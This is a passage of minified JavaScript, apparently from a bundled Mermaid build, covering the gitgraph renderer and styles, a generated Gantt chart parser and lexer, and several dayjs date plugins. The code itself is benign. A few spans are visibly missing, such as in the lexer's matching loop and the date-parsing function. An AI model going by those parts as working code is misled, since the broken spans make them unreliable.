branch"+a),Vr==="TB"?(l.attr("y1",M6),l.attr("x1",s),l.attr("y2",Hf),l.attr("x2",s)):Vr==="BT"&&(l.attr("y1",Hf),l.attr("x1",s),l.attr("y2",M6),l.attr("x2",s)),I6.push(s);let u=n.name,h=_ge(u),f=r.insert("rect"),p=r.insert("g").attr("class","branchLabel").insert("g").attr("class","label branch-label"+a);p.node().appendChild(h);let m=h.getBBox();f.attr("class","branchLabelBkg label"+a).attr("rx",4).attr("ry",4).attr("x",-m.width-4-(il?.rotateCommitLabel===!0?30:0)).attr("y",-m.height/2+8).attr("width",m.width+18).attr("height",m.height+4),p.attr("transform","translate("+(-m.width-14-(il?.rotateCommitLabel===!0?30:0))+", "+(s-m.height/2-1)+")"),Vr==="TB"?(f.attr("x",s-m.width/2-10).attr("y",0),p.attr("transform","translate("+(s-m.width/2-5)+", 0)")):Vr==="BT"?(f.attr("x",s-m.width/2-10).attr("y",Hf),p.attr("transform","translate("+(s-m.width/2-5)+", "+Hf+")")):f.attr("transform","translate(-19, "+(s-m.height/2)+")")})},"drawBranches"),zKe=o(function(t,e,r,n,i){return Ks.set(t,{pos:e,index:r}),e+=50+(i?40:0)+(Vr==="TB"||Vr==="BT"?n.width/2:0),e},"setBranchPosition"),GKe=o(function(t,e,r,n){if(kKe(),X.debug("in gitgraph renderer",t+` +`,"id:",e,r),!il)throw new Error("GitGraph config not found");let i=il.rotateCommitLabel??!1,a=n.db;h4=a.getCommits();let s=a.getBranchesAsObjArray();Vr=a.getDirection();let l=qe(`[id="${e}"]`),u=0;s.forEach((h,f)=>{let d=_ge(h.name),p=l.append("g"),m=p.insert("g").attr("class","branchLabel"),g=m.insert("g").attr("class","label branch-label");g.node()?.appendChild(d);let y=d.getBBox();u=zKe(h.name,u,f,y,i),g.remove(),m.remove(),p.remove()}),Age(l,h4,!1),il.showBranches&&$Ke(l,s),FKe(l,h4),Age(l,h4,!0),qt.insertTitle(l,"gitTitleText",il.titleTopMargin??0,a.getDiagramTitle()),FA(void 0,l,il.diagramPadding,il.useMaxWidth)},"draw"),Lge={draw:GKe}});var VKe,Nge,Mge=N(()=>{"use strict";VKe=o(t=>` + .commit-id, + .commit-msg, + .branch-label { + fill: lightgrey; + color: lightgrey; + font-family: 'trebuchet ms', verdana, arial, sans-serif; + font-family: var(--mermaid-font-family); + } + ${[0,1,2,3,4,5,6,7].map(e=>` + .branch-label${e} { fill: ${t["gitBranchLabel"+e]}; } + .commit${e} { stroke: ${t["git"+e]}; fill: ${t["git"+e]}; } + .commit-highlight${e} { stroke: ${t["gitInv"+e]}; fill: ${t["gitInv"+e]}; } + .label${e} { fill: ${t["git"+e]}; } + .arrow${e} { stroke: ${t["git"+e]}; } + `).join(` +`)} + + .branch { + stroke-width: 1; + stroke: ${t.lineColor}; + stroke-dasharray: 2; + } + .commit-label { font-size: ${t.commitLabelFontSize}; fill: ${t.commitLabelColor};} + .commit-label-bkg { font-size: ${t.commitLabelFontSize}; fill: ${t.commitLabelBackground}; opacity: 0.5; } + .tag-label { font-size: ${t.tagLabelFontSize}; fill: ${t.tagLabelColor};} + .tag-label-bkg { fill: ${t.tagLabelBackground}; stroke: ${t.tagLabelBorder}; } + .tag-hole { fill: ${t.textColor}; } + + .commit-merge { + stroke: ${t.primaryColor}; + fill: ${t.primaryColor}; + } + .commit-reverse { + stroke: ${t.primaryColor}; + fill: ${t.primaryColor}; + stroke-width: 3; + } + .commit-highlight-outer { + } + .commit-highlight-inner { + stroke: ${t.primaryColor}; + fill: ${t.primaryColor}; + } + + .arrow { stroke-width: 8; stroke-linecap: round; fill: none} + .gitTitleText { + text-anchor: middle; + font-size: 18px; + fill: ${t.textColor}; + } +`,"getStyles"),Nge=VKe});var Ige={};dr(Ige,{diagram:()=>UKe});var UKe,Oge=N(()=>{"use strict";Cge();pF();Rge();Mge();UKe={parser:Sge,db:N6,renderer:Lge,styles:Nge}});var mF,Fge,$ge=N(()=>{"use strict";mF=(function(){var t=o(function(D,_,O,M){for(O=O||{},M=D.length;M--;O[D[M]]=_);return O},"o"),e=[6,8,10,12,13,14,15,16,17,18,20,21,22,23,24,25,26,27,28,29,30,31,33,35,36,38,40],r=[1,26],n=[1,27],i=[1,28],a=[1,29],s=[1,30],l=[1,31],u=[1,32],h=[1,33],f=[1,34],d=[1,9],p=[1,10],m=[1,11],g=[1,12],y=[1,13],v=[1,14],x=[1,15],b=[1,16],T=[1,19],S=[1,20],w=[1,21],k=[1,22],A=[1,23],C=[1,25],R=[1,35],I={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,gantt:4,document:5,EOF:6,line:7,SPACE:8,statement:9,NL:10,weekday:11,weekday_monday:12,weekday_tuesday:13,weekday_wednesday:14,weekday_thursday:15,weekday_friday:16,weekday_saturday:17,weekday_sunday:18,weekend:19,weekend_friday:20,weekend_saturday:21,dateFormat:22,inclusiveEndDates:23,topAxis:24,axisFormat:25,tickInterval:26,excludes:27,includes:28,todayMarker:29,title:30,acc_title:31,acc_title_value:32,acc_descr:33,acc_descr_value:34,acc_descr_multiline_value:35,section:36,clickStatement:37,taskTxt:38,taskData:39,click:40,callbackname:41,callbackargs:42,href:43,clickStatementDebug:44,$accept:0,$end:1},terminals_:{2:"error",4:"gantt",6:"EOF",8:"SPACE",10:"NL",12:"weekday_monday",13:"weekday_tuesday",14:"weekday_wednesday",15:"weekday_thursday",16:"weekday_friday",17:"weekday_saturday",18:"weekday_sunday",20:"weekend_friday",21:"weekend_saturday",22:"dateFormat",23:"inclusiveEndDates",24:"topAxis",25:"axisFormat",26:"tickInterval",27:"excludes",28:"includes",29:"todayMarker",30:"title",31:"acc_title",32:"acc_title_value",33:"acc_descr",34:"acc_descr_value",35:"acc_descr_multiline_value",36:"section",38:"taskTxt",39:"taskData",40:"click",41:"callbackname",42:"callbackargs",43:"href"},productions_:[0,[3,3],[5,0],[5,2],[7,2],[7,1],[7,1],[7,1],[11,1],[11,1],[11,1],[11,1],[11,1],[11,1],[11,1],[19,1],[19,1],[9,1],[9,1],[9,1],[9,1],[9,1],[9,1],[9,1],[9,1],[9,1],[9,1],[9,1],[9,2],[9,2],[9,1],[9,1],[9,1],[9,2],[37,2],[37,3],[37,3],[37,4],[37,3],[37,4],[37,2],[44,2],[44,3],[44,3],[44,4],[44,3],[44,4],[44,2]],performAction:o(function(_,O,M,P,B,F,G){var $=F.length-1;switch(B){case 1:return F[$-1];case 2:this.$=[];break;case 3:F[$-1].push(F[$]),this.$=F[$-1];break;case 4:case 5:this.$=F[$];break;case 6:case 7:this.$=[];break;case 8:P.setWeekday("monday");break;case 9:P.setWeekday("tuesday");break;case 10:P.setWeekday("wednesday");break;case 11:P.setWeekday("thursday");break;case 12:P.setWeekday("friday");break;case 13:P.setWeekday("saturday");break;case 14:P.setWeekday("sunday");break;case 15:P.setWeekend("friday");break;case 16:P.setWeekend("saturday");break;case 17:P.setDateFormat(F[$].substr(11)),this.$=F[$].substr(11);break;case 18:P.enableInclusiveEndDates(),this.$=F[$].substr(18);break;case 19:P.TopAxis(),this.$=F[$].substr(8);break;case 20:P.setAxisFormat(F[$].substr(11)),this.$=F[$].substr(11);break;case 21:P.setTickInterval(F[$].substr(13)),this.$=F[$].substr(13);break;case 22:P.setExcludes(F[$].substr(9)),this.$=F[$].substr(9);break;case 23:P.setIncludes(F[$].substr(9)),this.$=F[$].substr(9);break;case 24:P.setTodayMarker(F[$].substr(12)),this.$=F[$].substr(12);break;case 27:P.setDiagramTitle(F[$].substr(6)),this.$=F[$].substr(6);break;case 28:this.$=F[$].trim(),P.setAccTitle(this.$);break;case 29:case 30:this.$=F[$].trim(),P.setAccDescription(this.$);break;case 31:P.addSection(F[$].substr(8)),this.$=F[$].substr(8);break;case 33:P.addTask(F[$-1],F[$]),this.$="task";break;case 34:this.$=F[$-1],P.setClickEvent(F[$-1],F[$],null);break;case 35:this.$=F[$-2],P.setClickEvent(F[$-2],F[$-1],F[$]);break;case 36:this.$=F[$-2],P.setClickEvent(F[$-2],F[$-1],null),P.setLink(F[$-2],F[$]);break;case 37:this.$=F[$-3],P.setClickEvent(F[$-3],F[$-2],F[$-1]),P.setLink(F[$-3],F[$]);break;case 38:this.$=F[$-2],P.setClickEvent(F[$-2],F[$],null),P.setLink(F[$-2],F[$-1]);break;case 39:this.$=F[$-3],P.setClickEvent(F[$-3],F[$-1],F[$]),P.setLink(F[$-3],F[$-2]);break;case 40:this.$=F[$-1],P.setLink(F[$-1],F[$]);break;case 41:case 47:this.$=F[$-1]+" "+F[$];break;case 42:case 43:case 45:this.$=F[$-2]+" "+F[$-1]+" "+F[$];break;case 44:case 46:this.$=F[$-3]+" "+F[$-2]+" "+F[$-1]+" "+F[$];break}},"anonymous"),table:[{3:1,4:[1,2]},{1:[3]},t(e,[2,2],{5:3}),{6:[1,4],7:5,8:[1,6],9:7,10:[1,8],11:17,12:r,13:n,14:i,15:a,16:s,17:l,18:u,19:18,20:h,21:f,22:d,23:p,24:m,25:g,26:y,27:v,28:x,29:b,30:T,31:S,33:w,35:k,36:A,37:24,38:C,40:R},t(e,[2,7],{1:[2,1]}),t(e,[2,3]),{9:36,11:17,12:r,13:n,14:i,15:a,16:s,17:l,18:u,19:18,20:h,21:f,22:d,23:p,24:m,25:g,26:y,27:v,28:x,29:b,30:T,31:S,33:w,35:k,36:A,37:24,38:C,40:R},t(e,[2,5]),t(e,[2,6]),t(e,[2,17]),t(e,[2,18]),t(e,[2,19]),t(e,[2,20]),t(e,[2,21]),t(e,[2,22]),t(e,[2,23]),t(e,[2,24]),t(e,[2,25]),t(e,[2,26]),t(e,[2,27]),{32:[1,37]},{34:[1,38]},t(e,[2,30]),t(e,[2,31]),t(e,[2,32]),{39:[1,39]},t(e,[2,8]),t(e,[2,9]),t(e,[2,10]),t(e,[2,11]),t(e,[2,12]),t(e,[2,13]),t(e,[2,14]),t(e,[2,15]),t(e,[2,16]),{41:[1,40],43:[1,41]},t(e,[2,4]),t(e,[2,28]),t(e,[2,29]),t(e,[2,33]),t(e,[2,34],{42:[1,42],43:[1,43]}),t(e,[2,40],{41:[1,44]}),t(e,[2,35],{43:[1,45]}),t(e,[2,36]),t(e,[2,38],{42:[1,46]}),t(e,[2,37]),t(e,[2,39])],defaultActions:{},parseError:o(function(_,O){if(O.recoverable)this.trace(_);else{var M=new Error(_);throw M.hash=O,M}},"parseError"),parse:o(function(_){var O=this,M=[0],P=[],B=[null],F=[],G=this.table,$="",U=0,j=0,te=0,Y=2,oe=1,J=F.slice.call(arguments,1),ue=Object.create(this.lexer),re={yy:{}};for(var ee in this.yy)Object.prototype.hasOwnProperty.call(this.yy,ee)&&(re.yy[ee]=this.yy[ee]);ue.setInput(_,re.yy),re.yy.lexer=ue,re.yy.parser=this,typeof ue.yylloc>"u"&&(ue.yylloc={});var Z=ue.yylloc;F.push(Z);var K=ue.options&&ue.options.ranges;typeof re.yy.parseError=="function"?this.parseError=re.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function ae(Ce){M.length=M.length-2*Ce,B.length=B.length-Ce,F.length=F.length-Ce}o(ae,"popStack");function Q(){var Ce;return Ce=P.pop()||ue.lex()||oe,typeof Ce!="number"&&(Ce instanceof Array&&(P=Ce,Ce=P.pop()),Ce=O.symbols_[Ce]||Ce),Ce}o(Q,"lex");for(var de,ne,Te,q,Ve,pe,Be={},Ye,He,Le,Ie;;){if(Te=M[M.length-1],this.defaultActions[Te]?q=this.defaultActions[Te]:((de===null||typeof de>"u")&&(de=Q()),q=G[Te]&&G[Te][de]),typeof q>"u"||!q.length||!q[0]){var Ne="";Ie=[];for(Ye in G[Te])this.terminals_[Ye]&&Ye>Y&&Ie.push("'"+this.terminals_[Ye]+"'");ue.showPosition?Ne="Parse error on line "+(U+1)+`: +`+ue.showPosition()+` +Expecting `+Ie.join(", ")+", got '"+(this.terminals_[de]||de)+"'":Ne="Parse error on line "+(U+1)+": Unexpected "+(de==oe?"end of input":"'"+(this.terminals_[de]||de)+"'"),this.parseError(Ne,{text:ue.match,token:this.terminals_[de]||de,line:ue.yylineno,loc:Z,expected:Ie})}if(q[0]instanceof Array&&q.length>1)throw new Error("Parse Error: multiple actions possible at state: "+Te+", token: "+de);switch(q[0]){case 1:M.push(de),B.push(ue.yytext),F.push(ue.yylloc),M.push(q[1]),de=null,ne?(de=ne,ne=null):(j=ue.yyleng,$=ue.yytext,U=ue.yylineno,Z=ue.yylloc,te>0&&te--);break;case 2:if(He=this.productions_[q[1]][1],Be.$=B[B.length-He],Be._$={first_line:F[F.length-(He||1)].first_line,last_line:F[F.length-1].last_line,first_column:F[F.length-(He||1)].first_column,last_column:F[F.length-1].last_column},K&&(Be._$.range=[F[F.length-(He||1)].range[0],F[F.length-1].range[1]]),pe=this.performAction.apply(Be,[$,j,U,re.yy,q[1],B,F].concat(J)),typeof pe<"u")return pe;He&&(M=M.slice(0,-1*He*2),B=B.slice(0,-1*He),F=F.slice(0,-1*He)),M.push(this.productions_[q[1]][0]),B.push(Be.$),F.push(Be._$),Le=G[M[M.length-2]][M[M.length-1]],M.push(Le);break;case 3:return!0}}return!0},"parse")},L=(function(){var D={EOF:1,parseError:o(function(O,M){if(this.yy.parser)this.yy.parser.parseError(O,M);else throw new Error(O)},"parseError"),setInput:o(function(_,O){return this.yy=O||this.yy||{},this._input=_,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var _=this._input[0];this.yytext+=_,this.yyleng++,this.offset++,this.match+=_,this.matched+=_;var O=_.match(/(?:\r\n?|\n).*/g);return O?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),_},"input"),unput:o(function(_){var O=_.length,M=_.split(/(?:\r\n?|\n)/g);this._input=_+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-O),this.offset-=O;var P=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),M.length-1&&(this.yylineno-=M.length-1);var B=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:M?(M.length===P.length?this.yylloc.first_column:0)+P[P.length-M.length].length-M[0].length:this.yylloc.first_column-O},this.options.ranges&&(this.yylloc.range=[B[0],B[0]+this.yyleng-O]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(_){this.unput(this.match.slice(_))},"less"),pastInput:o(function(){var _=this.matched.substr(0,this.matched.length-this.match.length);return(_.length>20?"...":"")+_.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var _=this.match;return _.length<20&&(_+=this._input.substr(0,20-_.length)),(_.substr(0,20)+(_.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var _=this.pastInput(),O=new Array(_.length+1).join("-");return _+this.upcomingInput()+` +`+O+"^"},"showPosition"),test_match:o(function(_,O){var M,P,B;if(this.options.backtrack_lexer&&(B={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(B.yylloc.range=this.yylloc.range.slice(0))),P=_[0].match(/(?:\r\n?|\n).*/g),P&&(this.yylineno+=P.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:P?P[P.length-1].length-P[P.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+_[0].length},this.yytext+=_[0],this.match+=_[0],this.matches=_,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(_[0].length),this.matched+=_[0],M=this.performAction.call(this,this.yy,this,O,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),M)return M;if(this._backtrack){for(var F in B)this[F]=B[F];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var _,O,M,P;this._more||(this.yytext="",this.match="");for(var B=this._currentRules(),F=0;FO[0].length)){if(O=M,P=F,this.options.backtrack_lexer){if(_=this.test_match(M,B[F]),_!==!1)return _;if(this._backtrack){O=!1;continue}else return!1}else if(!this.options.flex)break}return O?(_=this.test_match(O,B[P]),_!==!1?_:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var O=this.next();return O||this.lex()},"lex"),begin:o(function(O){this.conditionStack.push(O)},"begin"),popState:o(function(){var O=this.conditionStack.length-1;return O>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(O){return O=this.conditionStack.length-1-Math.abs(O||0),O>=0?this.conditionStack[O]:"INITIAL"},"topState"),pushState:o(function(O){this.begin(O)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(O,M,P,B){var F=B;switch(P){case 0:return this.begin("open_directive"),"open_directive";break;case 1:return this.begin("acc_title"),31;break;case 2:return this.popState(),"acc_title_value";break;case 3:return this.begin("acc_descr"),33;break;case 4:return this.popState(),"acc_descr_value";break;case 5:this.begin("acc_descr_multiline");break;case 6:this.popState();break;case 7:return"acc_descr_multiline_value";case 8:break;case 9:break;case 10:break;case 11:return 10;case 12:break;case 13:break;case 14:this.begin("href");break;case 15:this.popState();break;case 16:return 43;case 17:this.begin("callbackname");break;case 18:this.popState();break;case 19:this.popState(),this.begin("callbackargs");break;case 20:return 41;case 21:this.popState();break;case 22:return 42;case 23:this.begin("click");break;case 24:this.popState();break;case 25:return 40;case 26:return 4;case 27:return 22;case 28:return 23;case 29:return 24;case 30:return 25;case 31:return 26;case 32:return 28;case 33:return 27;case 34:return 29;case 35:return 12;case 36:return 13;case 37:return 14;case 38:return 15;case 39:return 16;case 40:return 17;case 41:return 18;case 42:return 20;case 43:return 21;case 44:return"date";case 45:return 30;case 46:return"accDescription";case 47:return 36;case 48:return 38;case 49:return 39;case 50:return":";case 51:return 6;case 52:return"INVALID"}},"anonymous"),rules:[/^(?:%%\{)/i,/^(?:accTitle\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*\{\s*)/i,/^(?:[\}])/i,/^(?:[^\}]*)/i,/^(?:%%(?!\{)*[^\n]*)/i,/^(?:[^\}]%%*[^\n]*)/i,/^(?:%%*[^\n]*[\n]*)/i,/^(?:[\n]+)/i,/^(?:\s+)/i,/^(?:%[^\n]*)/i,/^(?:href[\s]+["])/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?:call[\s]+)/i,/^(?:\([\s]*\))/i,/^(?:\()/i,/^(?:[^(]*)/i,/^(?:\))/i,/^(?:[^)]*)/i,/^(?:click[\s]+)/i,/^(?:[\s\n])/i,/^(?:[^\s\n]*)/i,/^(?:gantt\b)/i,/^(?:dateFormat\s[^#\n;]+)/i,/^(?:inclusiveEndDates\b)/i,/^(?:topAxis\b)/i,/^(?:axisFormat\s[^#\n;]+)/i,/^(?:tickInterval\s[^#\n;]+)/i,/^(?:includes\s[^#\n;]+)/i,/^(?:excludes\s[^#\n;]+)/i,/^(?:todayMarker\s[^\n;]+)/i,/^(?:weekday\s+monday\b)/i,/^(?:weekday\s+tuesday\b)/i,/^(?:weekday\s+wednesday\b)/i,/^(?:weekday\s+thursday\b)/i,/^(?:weekday\s+friday\b)/i,/^(?:weekday\s+saturday\b)/i,/^(?:weekday\s+sunday\b)/i,/^(?:weekend\s+friday\b)/i,/^(?:weekend\s+saturday\b)/i,/^(?:\d\d\d\d-\d\d-\d\d\b)/i,/^(?:title\s[^\n]+)/i,/^(?:accDescription\s[^#\n;]+)/i,/^(?:section\s[^\n]+)/i,/^(?:[^:\n]+)/i,/^(?::[^#\n;]+)/i,/^(?::)/i,/^(?:$)/i,/^(?:.)/i],conditions:{acc_descr_multiline:{rules:[6,7],inclusive:!1},acc_descr:{rules:[4],inclusive:!1},acc_title:{rules:[2],inclusive:!1},callbackargs:{rules:[21,22],inclusive:!1},callbackname:{rules:[18,19,20],inclusive:!1},href:{rules:[15,16],inclusive:!1},click:{rules:[24,25],inclusive:!1},INITIAL:{rules:[0,1,3,5,8,9,10,11,12,13,14,17,23,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52],inclusive:!0}}};return D})();I.lexer=L;function E(){this.yy={}}return o(E,"Parser"),E.prototype=I,I.Parser=E,new E})();mF.parser=mF;Fge=mF});var zge=Da((gF,yF)=>{"use strict";(function(t,e){typeof gF=="object"&&typeof yF<"u"?yF.exports=e():typeof define=="function"&&define.amd?define(e):(t=typeof globalThis<"u"?globalThis:t||self).dayjs_plugin_isoWeek=e()})(gF,(function(){"use strict";var t="day";return function(e,r,n){var i=o(function(l){return l.add(4-l.isoWeekday(),t)},"a"),a=r.prototype;a.isoWeekYear=function(){return i(this).year()},a.isoWeek=function(l){if(!this.$utils().u(l))return this.add(7*(l-this.isoWeek()),t);var u,h,f,d,p=i(this),m=(u=this.isoWeekYear(),h=this.$u,f=(h?n.utc:n)().year(u).startOf("year"),d=4-f.isoWeekday(),f.isoWeekday()>4&&(d+=7),f.add(d,t));return p.diff(m,"week")+1},a.isoWeekday=function(l){return this.$utils().u(l)?this.day()||7:this.day(this.day()%7?l:l-7)};var s=a.startOf;a.startOf=function(l,u){var h=this.$utils(),f=!!h.u(u)||u;return h.p(l)==="isoweek"?f?this.date(this.date()-(this.isoWeekday()-1)).startOf("day"):this.date(this.date()-1-(this.isoWeekday()-1)+7).endOf("day"):s.bind(this)(l,u)}}}))});var Gge=Da((vF,xF)=>{"use strict";(function(t,e){typeof vF=="object"&&typeof xF<"u"?xF.exports=e():typeof define=="function"&&define.amd?define(e):(t=typeof globalThis<"u"?globalThis:t||self).dayjs_plugin_customParseFormat=e()})(vF,(function(){"use strict";var t={LTS:"h:mm:ss A",LT:"h:mm A",L:"MM/DD/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY h:mm A",LLLL:"dddd, MMMM D, YYYY h:mm A"},e=/(\[[^[]*\])|([-_:/.,()\s]+)|(A|a|Q|YYYY|YY?|ww?|MM?M?M?|Do|DD?|hh?|HH?|mm?|ss?|S{1,3}|z|ZZ?)/g,r=/\d/,n=/\d\d/,i=/\d\d?/,a=/\d*[^-_:/,()\s\d]+/,s={},l=o(function(g){return(g=+g)+(g>68?1900:2e3)},"a"),u=o(function(g){return function(y){this[g]=+y}},"f"),h=[/[+-]\d\d:?(\d\d)?|Z/,function(g){(this.zone||(this.zone={})).offset=(function(y){if(!y||y==="Z")return 0;var v=y.match(/([+-]|\d\d)/g),x=60*v[1]+(+v[2]||0);return x===0?0:v[0]==="+"?-x:x})(g)}],f=o(function(g){var y=s[g];return y&&(y.indexOf?y:y.s.concat(y.f))},"u"),d=o(function(g,y){var v,x=s.meridiem;if(x){for(var b=1;b<=24;b+=1)if(g.indexOf(x(b,0,y))>-1){v=b>12;break}}else v=g===(y?"pm":"PM");return v},"d"),p={A:[a,function(g){this.afternoon=d(g,!1)}],a:[a,function(g){this.afternoon=d(g,!0)}],Q:[r,function(g){this.month=3*(g-1)+1}],S:[r,function(g){this.milliseconds=100*+g}],SS:[n,function(g){this.milliseconds=10*+g}],SSS:[/\d{3}/,function(g){this.milliseconds=+g}],s:[i,u("seconds")],ss:[i,u("seconds")],m:[i,u("minutes")],mm:[i,u("minutes")],H:[i,u("hours")],h:[i,u("hours")],HH:[i,u("hours")],hh:[i,u("hours")],D:[i,u("day")],DD:[n,u("day")],Do:[a,function(g){var y=s.ordinal,v=g.match(/\d+/);if(this.day=v[0],y)for(var x=1;x<=31;x+=1)y(x).replace(/\[|\]/g,"")===g&&(this.day=x)}],w:[i,u("week")],ww:[n,u("week")],M:[i,u("month")],MM:[n,u("month")],MMM:[a,function(g){var y=f("months"),v=(f("monthsShort")||y.map((function(x){return x.slice(0,3)}))).indexOf(g)+1;if(v<1)throw new Error;this.month=v%12||v}],MMMM:[a,function(g){var y=f("months").indexOf(g)+1;if(y<1)throw new Error;this.month=y%12||y}],Y:[/[+-]?\d+/,u("year")],YY:[n,function(g){this.year=l(g)}],YYYY:[/\d{4}/,u("year")],Z:h,ZZ:h};function m(g){var y,v;y=g,v=s&&s.formats;for(var x=(g=y.replace(/(\[[^\]]+])|(LTS?|l{1,4}|L{1,4})/g,(function(C,R,I){var L=I&&I.toUpperCase();return R||v[I]||t[I]||v[L].replace(/(\[[^\]]+])|(MMMM|MM|DD|dddd)/g,(function(E,D,_){return D||_.slice(1)}))}))).match(e),b=x.length,T=0;T-1)return new Date((M==="X"?1e3:1)*O);var F=m(M)(O),G=F.year,$=F.month,U=F.day,j=F.hours,te=F.minutes,Y=F.seconds,oe=F.milliseconds,J=F.zone,ue=F.week,re=new Date,ee=U||(G||$?1:re.getDate()),Z=G||re.getFullYear(),K=0;G&&!$||(K=$>0?$-1:re.getMonth());var ae,Q=j||0,de=te||0,ne=Y||0,Te=oe||0;return J?new Date(Date.UTC(Z,K,ee,Q,de,ne,Te+60*J.offset*1e3)):P?new Date(Date.UTC(Z,K,ee,Q,de,ne,Te)):(ae=new Date(Z,K,ee,Q,de,ne,Te),ue&&(ae=B(ae).week(ue).toDate()),ae)}catch{return new Date("")}})(S,A,w,v),this.init(),L&&L!==!0&&(this.$L=this.locale(L).$L),I&&S!=this.format(A)&&(this.$d=new Date("")),s={}}else if(A instanceof Array)for(var E=A.length,D=1;D<=E;D+=1){k[1]=A[D-1];var _=v.apply(this,k);if(_.isValid()){this.$d=_.$d,this.$L=_.$L,this.init();break}D===E&&(this.$d=new Date(""))}else b.call(this,T)}}}))});var Vge=Da((bF,TF)=>{"use strict";(function(t,e){typeof bF=="object"&&typeof TF<"u"?TF.exports=e():typeof define=="function"&&define.amd?define(e):(t=typeof globalThis<"u"?globalThis:t||self).dayjs_plugin_advancedFormat=e()})(bF,(function(){"use strict";return function(t,e){var r=e.prototype,n=r.format;r.format=function(i){var a=this,s=this.$locale();if(!this.isValid())return n.bind(this)(i);var l=this.$utils(),u=(i||"YYYY-MM-DDTHH:mm:ssZ").replace(/\[([^\]]+)]|Q|wo|ww|w|WW|W|zzz|z|gggg|GGGG|Do|X|x|k{1,2}|S/g,(function(h){switch(h){case"Q":return Math.ceil((a.$M+1)/3);case"Do":return s.ordinal(a.$D);case"gggg":return a.weekYear();case"GGGG":return a.isoWeekYear();case"wo":return s.ordinal(a.week(),"W");case"w":case"ww":return l.s(a.week(),h==="w"?1:2,"0");case"W":case"WW":return l.s(a.isoWeek(),h==="W"?1:2,"0");case"k":case"kk":return l.s(String(a.$H===0?24:a.$H),h==="k"?1:2,"0");case"X":return Math.floor(a.$d.getTime()/1e3);case"x":return a.$d.getTime();case"z":return"["+a.offsetName()+"]";case"zzz":return"["+a.offsetName("long")+"]";default:return h}}));return n.bind(this)(u)}}}))});function i1e(t,e,r){let n=!0;for(;n;)n=!1,r.forEach(function(i){let a="^\\s*"+i+"\\s*$",s=new RegExp(a);t[0].match(s)&&(e[i]=!0,t.shift(1),n=!0)})}var qge,xo,Wge,Yge,Xge,Uge,eu,SF,CF,AF,d4,p4,_F,DF,B6,ty,LF,jge,RF,m4,NF,MF,F6,wF,YKe,XKe,jKe,KKe,QKe,ZKe,JKe,eQe,tQe,rQe,nQe,iQe,aQe,sQe,oQe,lQe,cQe,uQe,hQe,fQe,dQe,pQe,mQe,Kge,gQe,yQe,vQe,Qge,xQe,kF,Zge,Jge,O6,ey,bQe,TQe,EF,P6,Vi,e1e,wQe,a0,kQe,Hge,EQe,t1e,SQe,r1e,CQe,AQe,n1e,a1e=N(()=>{"use strict";qge=ja(tm(),1),xo=ja(X4(),1),Wge=ja(zge(),1),Yge=ja(Gge(),1),Xge=ja(Vge(),1);pt();Xt();tr();ci();xo.default.extend(Wge.default);xo.default.extend(Yge.default);xo.default.extend(Xge.default);Uge={friday:5,saturday:6},eu="",SF="",AF="",d4=[],p4=[],_F=new Map,DF=[],B6=[],ty="",LF="",jge=["active","done","crit","milestone","vert"],RF=[],m4=!1,NF=!1,MF="sunday",F6="saturday",wF=0,YKe=o(function(){DF=[],B6=[],ty="",RF=[],O6=0,EF=void 0,P6=void 0,Vi=[],eu="",SF="",LF="",CF=void 0,AF="",d4=[],p4=[],m4=!1,NF=!1,wF=0,_F=new Map,Sr(),MF="sunday",F6="saturday"},"clear"),XKe=o(function(t){SF=t},"setAxisFormat"),jKe=o(function(){return SF},"getAxisFormat"),KKe=o(function(t){CF=t},"setTickInterval"),QKe=o(function(){return 